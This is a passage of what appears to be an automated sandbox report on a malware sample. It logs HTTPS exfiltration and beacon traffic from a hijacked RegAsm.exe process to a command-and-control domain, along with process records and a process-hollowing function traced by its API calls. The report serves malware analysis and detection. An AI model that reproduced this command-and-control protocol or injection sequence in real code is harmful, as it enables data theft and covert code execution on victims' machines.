alt-svc: h3=":443"; ma=86400
2024-07-04 19:49:01 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-04 19:49:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	104.21.27.50	443	7560	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:49:02 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1286 Host: bitchsafettyudjwu.shop
2024-07-04 19:49:02 UTC	1286	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 37 42 38 31 41 43 43 34 33 33 39 44 36 46 38 39 32 43 32 30 46 45 36 39 45 36 42 45 38 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB7B81ACC4339D6F892C20FE69E6BE89--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-04 19:49:03 UTC	802	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:49:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fr2nl2ff7tp0m6k23kaedkeqvu; expires=Mon, 28-Oct-2024 13:35:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G6l9WFD9sOgqw3b0uxaw1bM0QxN0%2BqXnKn0YG4qlYN2xgR03TDtc0JJVu8r2Dog9IgSl9FMLYbEzFm6aH3nrmbMSLPjtAFLqN%2FzCrlyF5yMw3nLa5b9MfLk82eK9Jauz9aB8lcIMfwae"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e1a2e1dc2815d7-EWR alt-svc: h3=":443"; ma=86400
2024-07-04 19:49:03 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-04 19:49:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49746	104.21.27.50	443	7560	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:49:04 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 570028 Host: bitchsafettyudjwu.shop
2024-07-04 19:49:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 42 37 42 38 31 41 43 43 34 33 33 39 44 36 46 38 39 32 43 32 30 46 45 36 39 45 36 42 45 38 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AB7B81ACC4339D6F892C20FE69E6BE89--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@SEFY
2024-07-04 19:49:04 UTC	15331	OUT	Data Raw: 0a 40 c2 8b f7 e1 73 8b 80 37 e0 75 95 af 30 15 58 c9 cd 58 02 48 7c 1a 1a 44 79 12 fa 1a b0 4d e4 c0 ef 82 6b 7d 47 71 48 46 6f 2d b8 c6 18 ba 28 4e c3 ef 25 3b 09 81 73 aa 58 18 b7 85 5d b3 44 87 c8 ef 5c 3d b8 e5 ba 13 a4 04 da ff bf 55 4a 9a 37 d0 ee 77 06 77 d1 a0 9e 4c ee 09 04 9e db 38 98 8f 26 e7 98 1a 1a 56 6c c2 ee 49 2d e1 83 b8 7f 2e 18 a4 9c 60 70 17 f4 ad db cc 21 c6 11 89 5e 41 70 25 21 d5 ce 15 07 1a 64 b9 fe 86 e8 e8 9d e9 76 c5 90 8c 12 4c dd c9 2b 54 a7 f9 6e d6 25 85 3e fa 62 c0 14 ee 94 f0 b4 df 82 a2 46 0c e3 5e 2f 4e 29 71 a7 35 62 a9 e5 c6 d2 6a 43 b0 54 4f 21 62 03 b8 3f 0a 8b 30 f9 97 30 2c 4a f2 76 83 9f 93 2c a7 c6 9e b8 45 5a 91 ad e4 9d 30 1c 5f b5 11 a3 92 19 69 58 58 6c 59 7d e6 fd 12 f0 dd 47 d3 44 07 f0 83 1f fd 68 f6 e6 Data Ascii: @s7u0XXH\|DyMk}GqHFo-(N%;sX]D\=UJ7wwL8&VlI-.`p!^Ap%!dvL+Tn%>bF^/N)q5bjCTO!b?00,Jv,EZ0_iXXlY}GDh
2024-07-04 19:49:04 UTC	15331	OUT	Data Raw: 2a 12 5e 2c 8c a8 57 d1 89 28 aa 58 70 ee b2 22 92 c6 3e 89 b0 32 71 78 3d 9d de fe 6b 0d 9a 43 58 de c8 2f 81 7d 50 ef 14 db c4 e0 88 4d b9 b1 bc 89 f0 16 8a 58 90 a7 18 ed cc 43 5c c7 4b 04 15 29 32 f4 f6 4b 44 14 1b af 65 3c 1e 36 16 a1 55 c4 a5 9d 57 ac 4d 82 08 d0 d6 d9 7e a7 df 84 37 99 fc 05 22 b4 14 6f e2 d5 72 1f 68 cc 76 28 04 19 db 3d a9 08 7c 10 eb 37 76 48 e6 8b 0e 2c be a1 10 ad 85 ee 19 0c 13 98 fd 62 30 3d d8 b1 4e 2f 36 3b d8 79 91 29 8e 0e e3 e7 1e a8 a7 ff a5 ec fc 3d 96 c2 d0 2b e5 cc cd 19 f8 ae be 3d 61 ce 19 90 44 f8 9d 8f d0 ad 75 13 88 70 a3 1d a1 5a df 1f 22 ef c9 45 87 a0 58 31 b3 e5 f4 16 0f 8d be 9e 9f fa 2e 72 b5 e2 af c0 9f 2d 6a 9b 71 5e 4e 90 b7 3a 9c 71 8a 8c b9 8b b9 f7 70 f1 4a 74 66 ae ca dd 38 36 a9 f5 30 f9 12 a3 61 Data Ascii: *^,W(Xp">2qx=kCX/}PMXC\K)2KDe<6UWM~7"orhv(=\|7vH,b0=N/6;y)=+=aDupZ"EX1.r-jq^N:qpJtf860a
2024-07-04 19:49:04 UTC	15331	OUT	Data Raw: 57 f7 16 4d 54 1d 1a 29 6e d0 3e 39 88 10 77 f7 0e 50 7d a1 cb e9 f7 96 21 45 5f fd f6 a4 c4 76 e9 ab 3d f5 e2 d2 b3 ab 61 c0 36 06 35 c7 36 6b cd 2b 01 18 ea ef bb 1f 8f bc 62 ba f4 05 67 a0 0e b4 cc 37 ef 7b b4 4e b8 1a ae 94 9a e2 6d 1d 8c f2 df 5d 9b fa 8b a0 9b 22 28 fe 22 76 c0 17 9c b1 f9 af 68 72 f4 7a 47 9d 51 ce d2 44 b3 d5 f6 52 d1 47 27 5e 72 b4 fc ee 92 9a 4f 5c b3 9d f3 e1 d7 0b ef fd f7 32 64 87 05 ef 50 dc 3e a0 7b 91 9f 1f 72 a4 1f 10 fe ab a5 a4 6e 6e 72 2e 52 5d 43 97 ec 3e de e8 8d 5a 12 b9 89 f6 b8 e7 9a 24 94 d4 a0 27 68 e6 02 c6 da d4 98 4a dd de 82 e0 da 12 ec 3c 4a dd 3c 2e 43 27 0c 6e f9 dd 39 f9 b9 1b c7 ec 69 3f 5a 92 b6 f0 88 b2 b7 bb fd e3 5c 6a e5 0f 8e 41 9c 05 45 f6 6a f3 5d 9e e2 c5 73 34 bf b2 d6 7e f2 a7 dd 33 3c fd 96 Data Ascii: WMT)n>9wP}!E_v=a656k+bg7{Nm]"("vhrzGQDRG'^rO\2dP>{rnnr.R]C>Z$'hJ<J<.C'n9i?Z\jAEj]s4~3<
2024-07-04 19:49:04 UTC	15331	OUT	Data Raw: 2d 65 86 f4 43 e2 f4 62 26 6f c2 a6 fa fe 5c 1c dc 3c a8 23 dc e5 ab 75 9a e3 23 65 34 de e6 e0 55 4e ce 59 f0 1a 1a 79 a1 ba 54 9b 5c 55 96 84 8e 3d a0 3a 62 c1 b1 09 de ef ec 22 2f b6 7b 67 4f 2b d3 ed 21 b7 59 b3 32 ef c9 df 63 25 19 f0 aa c0 cd ea 0c d7 5c 88 b7 8c e8 45 18 cc 71 c1 1f 66 0c 6e ee 45 08 01 a3 89 5c a8 8e 08 f4 5e 9f e1 23 0e 8e ab d9 ec 40 9e 87 d2 1b a2 fe 57 26 6d 91 41 01 b7 bd 26 9d 8a ee 23 c1 87 7b 99 4d 3c 60 88 e2 38 6a ad ea 82 11 de 79 f7 fe d3 e1 f7 da a6 fe 5a 92 0e f7 8f 48 da dc 53 79 af 6c 4e 4a f7 43 ff 7d 40 6b 5a 38 99 b0 02 31 fc 13 a9 7c ff ff 57 72 43 12 94 8e f1 c0 79 60 f1 cf c0 25 99 c5 37 42 8c aa 72 4a 4a 0b b2 18 fe bc 58 f2 a8 88 87 83 70 9e 6a ff c4 d9 11 4e f8 2e 51 96 95 20 88 f8 b3 3d 1d a8 68 3f 43 12 Data Ascii: -eCb&o\<#u#e4UNYyT\U=:b"/{gO+!Y2c%\EqfnE\^#@W&mA&#{M<`8jyZHSylNJC}@kZ81\|WrCy`%7BrJJXpjN.Q =h?C
2024-07-04 19:49:04 UTC	15331	OUT	Data Raw: 05 e8 de 1e 5e d3 5e b2 bd 95 58 21 dc 20 48 69 72 e3 7b 39 71 b6 73 72 69 6d c8 c6 ad 62 7e 9d 59 84 9c 53 9d 84 70 53 39 b2 c2 a2 f1 f3 72 0d b6 5a be d0 c5 9e 50 20 f7 2c aa 90 d4 68 60 e0 2b f0 e3 60 4b 20 55 5d b9 d5 5b bb 36 01 8a f7 de f6 79 96 a6 85 0c 2c d8 7e b5 a3 56 c4 5a 86 11 80 d8 55 eb 8c 52 0e d7 e7 d8 76 71 4c e9 17 c2 80 a0 1b 63 f7 f8 7a ee 1f b9 bb 35 e9 54 af d8 5d e4 ec d1 96 2c 54 a2 12 6d 28 66 3f de 77 f9 a3 91 cd 37 7d cf 02 41 43 8d a6 b0 2d be b0 d3 6d 7c c5 f9 86 b3 8e b1 bd 15 db 0f 7e 04 19 fe 10 3a e7 2c fb ab 2e f1 19 f4 bb 04 9b 5b 99 88 21 80 07 43 05 f4 d6 b6 41 79 5b ee 0f 57 48 38 1b d1 3b 88 5b bf 45 2f 38 aa 73 78 4b 1f 77 88 e3 8f 9a d8 3a 4a 2f 32 33 20 19 56 49 32 a2 f7 a9 a9 cf ea c9 63 42 60 9f 1f d5 21 fd 53 Data Ascii: ^^X! Hir{9qsrimb~YSpS9rZP ,h`+`K U][6y,~VZURvqLcz5T],Tm(f?w7}AC-m\|~:,.[!CAy[WH8;[E/8sxKw:J/23 VI2cB`!S
2024-07-04 19:49:04 UTC	15331	OUT	Data Raw: 3f d6 4c 70 39 17 c8 10 b1 98 8d 44 1e c2 c8 f2 36 cb da 85 4c af ff 2c a7 c8 89 92 77 75 3d 67 95 fc 7f 6d 15 3f 71 b2 08 f8 7a e7 70 5e 5c 95 c7 9b 7d 6d 81 71 ba 7d df 90 78 77 ee 5b 55 d6 b0 44 13 ec c2 a9 12 64 a4 20 c8 43 07 56 97 66 24 a5 71 82 90 1b a8 73 9b 29 48 dd cd 86 4d 94 3b dc aa 7a 28 fa e3 22 20 ac 7a 07 81 5b 38 99 d9 cc 09 0e 54 c9 ff b6 ec 95 8d 8f 5e 32 e0 da 9d e5 21 59 2f 53 ff fa d7 c7 8f 90 3f 76 c6 67 03 09 e2 bd 37 70 8b 38 64 f9 2d c7 34 f7 b9 92 f8 6a bc a2 15 2d 89 b1 fe 33 13 1f f9 64 33 34 05 91 7c 9b 85 d9 1c b7 25 0d 25 14 68 23 e1 e6 03 56 a4 09 3a 2b 77 56 4b bf cd 47 b3 7e 46 89 de 44 03 dc e6 ea cf 34 96 cf 10 82 7e 6d 74 e9 71 ce bd 40 26 3b c0 b9 fa c7 b5 28 87 5e b0 58 23 04 ae 6e 8c 96 7c ac 91 1e ad 54 ea db ac Data Ascii: ?Lp9D6L,wu=gm?qzp^\}mq}xw[UDd CVf$qs)HM;z(" z[8T^2!Y/S?vg7p8d-4j-3d34\|%%h#V:+wVKG~FD4~mtq@&;(^X#n\|T
2024-07-04 19:49:04 UTC	15331	OUT	Data Raw: a4 d4 c3 4a fc c0 da 88 59 77 07 49 d0 7d 87 fa 93 48 08 91 43 cc 3b 51 0f 04 cc c1 eb 86 f3 d7 42 61 c2 f3 10 7d fe c4 c5 a1 0a 87 d1 bc 74 82 88 26 43 21 5d f1 35 39 c1 d3 14 36 ad 87 cb a4 ba a8 dc 77 d3 36 17 c3 30 30 81 ec cc f7 ab fd bf ed 69 2d 7a 99 3f 12 36 01 cf 81 b9 e7 28 58 76 fe cc f8 0b 2c cc 87 e3 5d 94 c6 76 8e 4f cc b9 b2 ed 07 22 0d 88 da 28 33 b1 be a2 1b f6 b5 2e 4a e9 73 e3 29 66 17 14 2f 29 65 18 cc a9 b7 b9 c6 da d7 10 e5 43 f5 2e 09 c6 93 f9 01 af c0 7a 6c d5 51 d7 fa 4e b3 a6 f1 fd 21 8e 52 01 48 cc 2a 5f 51 2f fd 81 a7 3f 09 7b 7d df a2 37 94 8c ec 4e 8d 6b a9 e1 3d 11 0d 34 9b 4f 83 df ca 57 f5 4b 3c 39 2f ca 1e 1c 1f 96 e8 77 da 74 fe 17 f1 84 52 b8 7f aa fe aa 00 29 d0 23 86 31 6c 94 df 53 12 70 cd 6b 69 f3 4b 22 9e 54 6b 2a Data Ascii: JYwI}HC;QBa}t&C!]596w600i-z?6(Xv,]vO"(3.Js)f/)eC.zlQN!RH_Q/?{}7Nk=4OWK<9/wtR)#1lSpkiK"Tk
2024-07-04 19:49:04 UTC	15331	OUT	Data Raw: 25 4c f7 f5 93 be 3d 51 85 9a 17 89 fb 7b 00 7d 30 13 a1 25 41 cc 7c 59 50 75 79 3f 80 ff e5 05 d1 06 93 ee 95 39 6b 2f 13 5b c8 da 58 ae 03 ea bb 26 8f c0 76 33 87 19 29 70 75 b7 a9 3c 44 8a 87 83 90 65 c2 19 96 ee a3 c9 f0 6b 32 2f c6 2e 48 62 89 53 7c 1d bf 12 fc 16 84 5b 09 88 48 37 3f 8f f9 07 2a dc b9 3d 15 ea 9d 0e 1d 4b 90 65 36 ae d3 44 f0 bb 64 e1 77 00 e5 36 94 14 bb 75 f0 79 08 11 7f 83 71 31 d9 76 b6 bb 68 58 8f 2d 23 2c e4 c6 3d 78 6d b4 40 38 4a a5 13 70 27 e6 c2 8f 12 60 2d c3 5f 73 4c ce 2b 9d b6 86 68 09 51 21 48 79 23 50 87 2a 4c 10 a1 13 f6 5d aa 7f 00 f1 43 7c fc 82 12 df 6a 0e 3c 8a 95 7f fa 09 1c e8 fd da 94 8f 32 6b 08 96 e0 bc 01 e9 4f 82 55 11 b4 60 d7 98 c6 17 4f 06 d5 1d f2 db 03 f8 66 93 f2 c8 fc 7c b3 5b f4 a8 30 41 61 a6 f6 Data Ascii: %L=Q{}0%A\|YPuy?9k/[X&v3)pu<Dek2/.HbS\|[H7?=Ke6Ddw6uyq1vhX-#,=xm@8Jp'`-_sL+hQ!Hy#PL]C\|j<2kOU`Of\|[0Aa
2024-07-04 19:49:04 UTC	15331	OUT	Data Raw: 58 5b 5a b9 4e 6b bc 9c f9 fb c9 b9 d0 f6 7d 01 9c a3 66 2b 5e 88 0d c0 3e da 22 dd ff 1f a0 cc 3e d7 7a 54 68 0c d2 cd 19 1b 7a fb 9f 6e 1f 87 8d ef 82 ba 05 d9 fc 73 d5 f7 0f df 92 20 6c 37 0a e0 f6 42 64 7e 28 63 4f f4 50 6c be 91 1d 0a 86 c3 6c 77 6f b3 f4 e7 ac 5b 3f 83 eb 43 78 b9 53 58 76 41 f6 d1 fd d2 cc 5b 0d 6a 36 a7 91 b5 8d 71 df 5f fa e6 78 29 80 3d 78 4e 40 64 d5 62 8c d4 49 27 5f ee 87 66 57 07 59 5a d1 84 05 3f 59 9c f3 f8 ab f9 6d 80 9f 40 fc 35 42 0c c2 05 e3 b6 7e 3d bb 34 9a 24 42 f1 85 cc 1d f3 33 10 32 0f eb 45 77 08 36 65 69 1d 02 87 ad d3 6b 6b 8c 56 03 d3 9a d0 a6 a5 18 7e 7a 23 0f c5 dc a4 98 7b 9e 65 ad 27 7d ba 9e c6 0b 26 37 d0 33 76 a0 e9 97 b0 c6 02 e5 75 52 ad 6c ba 62 7d a0 ac c8 98 ce 1b e5 c4 70 6f 29 66 b3 ca bc b7 2b Data Ascii: X[ZNk}f+^>">zThzns l7Bd~(cOPllwo[?CxSXvA[j6q_x)=xN@dbI'_fWYZ?Ym@5B~=4$B32Ew6eikkV~z#{e'}&73vuRlb}po)f+
2024-07-04 19:49:07 UTC	814	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:49:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ef6j6uqen2vedd41m3pcvep1nd; expires=Mon, 28-Oct-2024 13:35:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TBVzCHAA8fKxzL6D%2BP4sdSpBSFF%2FEzW6%2BnfsRP3rq22hOc%2B6cCdie0NZJNAGGI%2BaCavkl1gKNKm6sZ7%2Fsc2XXpRUr9GwcpynAMQx3yuyL7q49ldYEIYT7xzuVjzsEjlWMvA1vOMl0%2Fm%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e1a2ee28e15e79-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	104.21.27.50	443	7560	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 19:49:07 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: bitchsafettyudjwu.shop
2024-07-04 19:49:07 UTC	86	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 40 53 45 46 59 41 4c 55 56 26 6a 3d 26 68 77 69 64 3d 41 42 37 42 38 31 41 43 43 34 33 33 39 44 36 46 38 39 32 43 32 30 46 45 36 39 45 36 42 45 38 39 Data Ascii: act=get_message&ver=4.0&lid=LPnhqo--@SEFYALUV&j=&hwid=AB7B81ACC4339D6F892C20FE69E6BE89
2024-07-04 19:49:07 UTC	800	IN	HTTP/1.1 200 OK Date: Thu, 04 Jul 2024 19:49:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kj980elu1tbttookagjpbm4urm; expires=Mon, 28-Oct-2024 13:35:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x2Z6qz4jfoAiE7Bhpn20ribXkN9CUoeusohNPau5%2BjLrbvP2R6Mvc4FYxLiqWBhAvgA5ezD4btVHGSGUdM7e6tR4UgKbhs0SuxC0p8qCXTYWdsfFUnh4gTGofxR9O2Vkyqr2pZliiyF5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89e1a30299fbc459-EWR alt-svc: h3=":443"; ma=86400
2024-07-04 19:49:07 UTC	54	IN	Data Raw: 33 30 0d 0a 37 72 79 52 43 49 39 51 66 39 43 50 2b 39 7a 37 4a 36 2b 66 6e 43 79 32 45 37 65 5a 66 7a 49 6a 4b 34 42 41 49 6f 2f 38 73 6c 2b 31 34 51 3d 3d 0d 0a Data Ascii: 307ryRCI9Qf9CP+9z7J6+fnCy2E7eZfzIjK4BAIo/8sl+14Q==
2024-07-04 19:49:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	15:48:53
Start date:	04/07/2024
Path:	C:\Users\user\Desktop\qeUaxJCA3FO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\qeUaxJCA3FO.exe"
Imagebase:	0xf90000
File size:	530'432 bytes
MD5 hash:	EFC76B9581DA08661C9C91C2A6E7D289
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	15:48:54
Start date:	04/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x180000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:48:54
Start date:	04/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf60000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:48:54
Start date:	04/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7528 -s 304
Imagebase:	0xe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	19

Executed Functions

Function 0287018D Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,028700FF,028700EF), ref: 028702FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0287030F
Wow64GetThreadContext.KERNEL32(00000120,00000000), ref: 0287032D
ReadProcessMemory.KERNELBASE(0000011C,?,02870143,00000004,00000000), ref: 02870351
VirtualAllocEx.KERNELBASE(0000011C,?,?,00003000,00000040), ref: 0287037C
TerminateProcess.KERNELBASE(0000011C,00000000), ref: 0287039B
WriteProcessMemory.KERNELBASE(0000011C,00000000,?,?,00000000,?), ref: 028703D4
WriteProcessMemory.KERNELBASE(0000011C,00400000,?,?,00000000,?,00000028), ref: 0287041F
WriteProcessMemory.KERNELBASE(0000011C,?,?,00000004,00000000), ref: 0287045D
Wow64SetThreadContext.KERNEL32(00000120,02890000), ref: 02870499
ResumeThread.KERNELBASE(00000120), ref: 028704A8

Strings

ReadProcessMemory, xrefs: 0287027A
VirtualAlloc, xrefs: 02870254
VirtualAllocEx, xrefs: 0287028D
TerminateProcess, xrefs: 0287038B
ress, xrefs: 02870217
Load, xrefs: 028701CB
ResumeThread, xrefs: 028702C9
CreateProcessA, xrefs: 02870241
SetThreadContext, xrefs: 028702B3
GetThreadContext, xrefs: 02870267
WriteProcessMemory, xrefs: 028702A0
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 028702FB
GetP, xrefs: 0287020F
aryA, xrefs: 028701D3

Memory Dump Source

Source File: 00000000.00000002.1762149896.0000000002870000.00000040.00001000.00020000.00000000.sdmp, Offset: 02870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2870000_qeUaxJCA3FO.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-1257834847
Opcode ID: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction ID: f99ea36e751f535e66b4d737c7f42b8c3810d7eddf6ce0209efc2b4da964a366
Opcode Fuzzy Hash: 6ed679946abb4a161c9f75f6101290084365813039212a6bd0c7882d8dd446c2
Instruction Fuzzy Hash: C4B1E57664028AAFDB60CF68CC80BDA77A5FF88714F158524EA1CEB341D774FA418B94

Function 00FA9B12 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762035524.0000000000F91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F90000, based on PE: true

Associated: 00000000.00000002.1762024067.0000000000F90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762055936.0000000000FBA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762069605.0000000000FC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1762099795.0000000001012000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f90000_qeUaxJCA3FO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 415d6ecb70230e58ddfd6e010e67a58bcf489b47cd535b11abd549c0c3dd0fb1
Instruction ID: 22c1cb1d97263393b6275858bd6d0e1f14bee9323734d404d3d32ab0aa8d797e
Opcode Fuzzy Hash: 415d6ecb70230e58ddfd6e010e67a58bcf489b47cd535b11abd549c0c3dd0fb1
Instruction Fuzzy Hash: 93F06571A15224DBCB26D74CD805A99B3ECEB86BA1F1100A6F551DB151C7F4DE00EBD0

Function 00F95240 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00F9524D
std::_Lockit::_Lockit.LIBCPMT ref: 00F95267
std::_Lockit::~_Lockit.LIBCPMT ref: 00F95288
